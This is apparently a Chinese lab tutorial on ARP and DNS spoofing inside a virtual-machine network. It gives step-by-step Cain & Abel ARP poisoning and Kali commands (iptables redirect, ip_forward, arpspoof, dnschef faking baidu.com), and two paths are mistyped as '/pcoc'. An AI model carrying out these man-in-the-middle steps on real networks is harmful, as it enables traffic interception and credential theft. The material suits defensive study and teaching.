ARP欺骗
ARP欺骗的运作原理是由攻击者发送假的ARP数据包到网上,尤其是送到网关上。其目的是要让送至特定的IP地址的流量被错误送到攻击者所取代的地方。具体来说,ARP欺骗分为两种类型:
截获网关数据:攻击者通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中。结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC 无法收到信息。
伪造网关:攻击者建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。在PC看来,就是上不了网了,“网络掉线了”。
ARP欺骗攻击的后果非常严重,大多数情况下会造成大面积掉线。因此,了解ARP欺骗的原理对于防范和应对这种攻击非常重要
利用Cain&Able进行ARP欺骗
1指定装有win7操作系统的虚拟机为攻击机(A),另一台装有win7操作系统的虚拟机(B)
靶机:192.168.199.140
网关192.168.199.2
攻击机:192.168.199.142
2在攻击机运行arp -a,获取arp列表
3在攻击机安装Cain工具,打开软件操作窗口
4 单击”configure”菜单,在打开的对话框中选取Sniffer选项卡,打开对话框,选择本机的网卡进行绑定,单击确定,返回Cain工具操作窗口。
5 在上图对话框中,选取Filter and ports选项卡,打开对话框,选取嗅探的协议类型和对应的端口号。
6 在对话框中,选取APR选项卡,设置嗅探时使用的本机IP和MAC,选择真实的IP和MAC。
7 单击start/stop 和sniffer按纽,单击Add to list按纽,在打开的对话框中设置要嗅探的目标对象。选择整个局域网进行嗅探8 点击左下角的APR标签,在左侧选择被欺骗的主机(靶机),右侧选择网关,截获从靶机到发出到其他网络的数据包
9点击start/stop ARP按纽,Idle变为Poisoning,开始捕获欺骗数据包,在靶机上进行的网络浏览等操作,都会在攻击机的Cain界面上显示捕获的数据包。
10 登录靶机,检查是否欺骗成功。在靶机的命令提示符下输入“ipconfig /all”可以在攻击机软件上看到本机的MAC及其他信息。
11 在靶机的命令提示符下输入“arp -a”命令,可以看到网关:192.168.199.2的MAC已被替换为攻击机网卡的MAC地址,攻击成功。
DNS欺骗
网关地址为:192.168.199.2
Kali Linux主机IP地址:192.168.199.143
Windows主机:192.168.199.142
开启phpstudy服务的Windows地址:192.168.199.140
(1) 在windows 7主机运行arp -a命令查看arp缓存表
若arp表中没有目标主机的IP地址,要ping一下目标主机。
(2) 在kali主机配置iptables
iptables -t nat -A PREROUTING -i eth0 -p udp --dport=53 -j REDIRECT --to-ports 53
(DNS协议默认为53端口,从53端口接收下来,然后再从53端口转发出去)
(3)查看IP_foward值: cd /proc/sys/net/ipv4
more ip_forward
(4)设置IP_forward为1,允许数据包转发
echo 1 >/pcoc/sys/net/ipv4/ip_forward
(5)进一步查看IP_forward是否设置为1
more /pcoc/sys/net/ipv4/ip_forward 进一步查看IP_forward是否设置为1
(6)在kali安装arpspoof
apt-get install dsniff
(7)运行arpspoof命令,实施arp欺骗
Arpspoof
arpspoof -i eth0 -t 192.168.199.142 -r 192.168.199.2
(告诉142,192.168.199.2的MAC修改为192.168.199.143的MAC,把本来发往199.2的数据发往199.143)
(8)在win7主机查看arp缓存表
arp -a
网关的物理地址与kali的物理地址已改成相同的物理地址
(9)在kali主机运行dnschef
dnschef --fakeip=192.168.199.140 --fakedomains=www.baidu.com --nameservers=192.168.199.2 -i 192.168.199.143
(10)清理DNS缓存
ipconfig /flushdns